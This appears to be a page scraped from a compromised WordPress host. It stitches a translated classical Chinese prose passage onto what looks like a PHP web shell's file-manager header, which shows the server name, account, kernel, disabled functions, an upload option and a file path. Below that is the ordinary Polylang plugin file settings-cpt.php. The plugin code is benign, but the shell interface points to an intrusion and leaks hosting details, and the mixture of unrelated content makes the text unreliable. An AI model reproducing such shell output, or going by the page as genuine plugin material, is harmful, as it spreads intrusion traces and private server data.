As the sun rises and the forest mist clears, and the clouds return and the caves darken, these changes of light and shadow are the morning and evening in the mountains. Wildflowers bloom with their subtle fragrance, fine trees flourish with their dense shade, the wind and frost are pure and clean, and the water recedes to reveal the rocks—these are the four seasons in the mountains. Going out in the morning and returning in the evening, the scenery of the four seasons is different, and the joy is endless.至于负者歌于途,行者休于树,前者呼,后者应,伛偻提携,往来而不绝者,滁人游也。临溪而渔,溪深而鱼肥,酿泉为酒,泉香而酒洌,山肴野蔌,杂然而前陈者,太守宴也。宴酣之乐,非丝非竹,射者中,弈者胜,觥筹交错,起坐而喧哗者,众宾欢也。苍颜白发,颓然乎其间者,太守醉也。 HEX
HEX
Server: Apache
System: Linux webd003.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User: labeautef (51223)
PHP: 8.0.30
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/labeautef/labeautedegaby.com/wp-content/plugins/polylang/src/settings/settings-cpt.php
<?php
/**
 * @package Polylang
 */

/**
 * Settings class for custom post types and taxonomies language and translation management
 *
 * @since 1.8
 */
class PLL_Settings_CPT extends PLL_Settings_Module {
	/**
	 * Stores the display order priority.
	 *
	 * @var int
	 */
	public $priority = 40;

	/**
	 * The list of post types to show in the form.
	 *
	 * @var string[]
	 */
	private $post_types;

	/**
	 * The list of post types to disable in the form.
	 *
	 * @var string[]
	 */
	private $disabled_post_types;

	/**
	 * The list of taxonomies to show in the form.
	 *
	 * @var string[]
	 */
	private $taxonomies;

	/**
	 * The list of taxonomies to disable in the form.
	 *
	 * @var string[]
	 */
	private $disabled_taxonomies;

	/**
	 * Constructor.
	 *
	 * @since 1.8
	 *
	 * @param PLL_Settings $polylang The Polylang object.
	 */
	public function __construct( &$polylang ) {
		parent::__construct(
			$polylang,
			array(
				'module'      => 'cpt',
				'title'       => __( 'Custom post types and Taxonomies', 'polylang' ),
				'description' => __( 'Activate languages and translations management for the custom post types and the taxonomies.', 'polylang' ),
			)
		);

		$public_post_types = get_post_types( array( 'public' => true, '_builtin' => false ) );
		/** This filter is documented in src/model.php */
		$this->post_types = array_unique( apply_filters( 'pll_get_post_types', $public_post_types, true ) );

		/** This filter is documented in src/model.php */
		$programmatically_active_post_types = array_unique( apply_filters( 'pll_get_post_types', array(), false ) );
		$this->disabled_post_types = array_intersect( $programmatically_active_post_types, $this->post_types );

		$public_taxonomies = get_taxonomies( array( 'public' => true, '_builtin' => false ) );
		$public_taxonomies = array_diff( $public_taxonomies, get_taxonomies( array( '_pll' => true ) ) );
		/** This filter is documented in src/model.php */
		$this->taxonomies = array_unique( apply_filters( 'pll_get_taxonomies', $public_taxonomies, true ) );

		/** This filter is documented in src/model.php */
		$programmatically_active_taxonomies = array_unique( apply_filters( 'pll_get_taxonomies', array(), false ) );
		$this->disabled_taxonomies = array_intersect( $programmatically_active_taxonomies, $this->taxonomies );
	}

	/**
	 * Tells if the module is active
	 *
	 * @since 1.8
	 *
	 * @return bool
	 */
	public function is_active() {
		return ! empty( $this->post_types ) || ! empty( $this->taxonomies );
	}

	/**
	 * Displays the settings form
	 *
	 * @since 1.8
	 */
	protected function form() {
		if ( ! empty( $this->post_types ) ) {?>
			<h4><?php esc_html_e( 'Custom post types', 'polylang' ); ?></h4>
			<ul class="pll-inline-block-list">
				<?php
				foreach ( $this->post_types as $post_type ) {
					$pt = get_post_type_object( $post_type );
					if ( ! empty( $pt ) ) {
						$disabled = in_array( $post_type, $this->disabled_post_types );
						printf(
							'<li><label><input name="post_types[%s]" type="checkbox" value="1" %s %s/> %s</label></li>',
							esc_attr( $post_type ),
							checked( $disabled || in_array( $post_type, $this->options['post_types'], true ), true, false ),
							disabled( $disabled, true, false ),
							esc_html(
								sprintf(
									/* translators: 1 is a post type or taxonomy label, 2 is a post type or taxonomy key. */
									_x( '%1$s (%2$s)', 'content type setting choice', 'polylang' ),
									$pt->labels->name,
									$pt->name
								)
							)
						);
					}
				}
				?>
			</ul>
			<p class="description"><?php esc_html_e( 'Activate languages and translations for custom post types.', 'polylang' ); ?></p>
			<?php
		}

		if ( ! empty( $this->taxonomies ) ) {
			?>
			<h4><?php esc_html_e( 'Custom taxonomies', 'polylang' ); ?></h4>
			<ul class="pll-inline-block-list">
				<?php
				foreach ( $this->taxonomies as $taxonomy ) {
					$tax = get_taxonomy( $taxonomy );
					if ( ! empty( $tax ) ) {
						$disabled = in_array( $taxonomy, $this->disabled_taxonomies );
						printf(
							'<li><label><input name="taxonomies[%s]" type="checkbox" value="1" %s %s/> %s</label></li>',
							esc_attr( $taxonomy ),
							checked( $disabled || in_array( $taxonomy, $this->options['taxonomies'], true ), true, false ),
							disabled( $disabled, true, false ),
							esc_html(
								sprintf(
									/* translators: 1 is a post type or taxonomy label, 2 is a post type or taxonomy key. */
									_x( '%1$s (%2$s)', 'content type setting choice', 'polylang' ),
									$tax->labels->name,
									$tax->name
								)
							)
						);
					}
				}
				?>
			</ul>
			<p class="description"><?php esc_html_e( 'Activate languages and translations for custom taxonomies.', 'polylang' ); ?></p>
			<?php
		}
	}

	/**
	 * Prepares the received data before saving.
	 *
	 * @since 3.7
	 *
	 * @param array $options Raw values to save.
	 * @return array
	 */
	protected function prepare_raw_data( array $options ): array {
		$newoptions = array();

		foreach ( array( 'post_types', 'taxonomies' ) as $key ) {
			$newoptions[ $key ] = empty( $options[ $key ] ) ? array() : array_keys( $options[ $key ], 1 );
		}

		return $newoptions; // Take care to return only validated options.
	}
}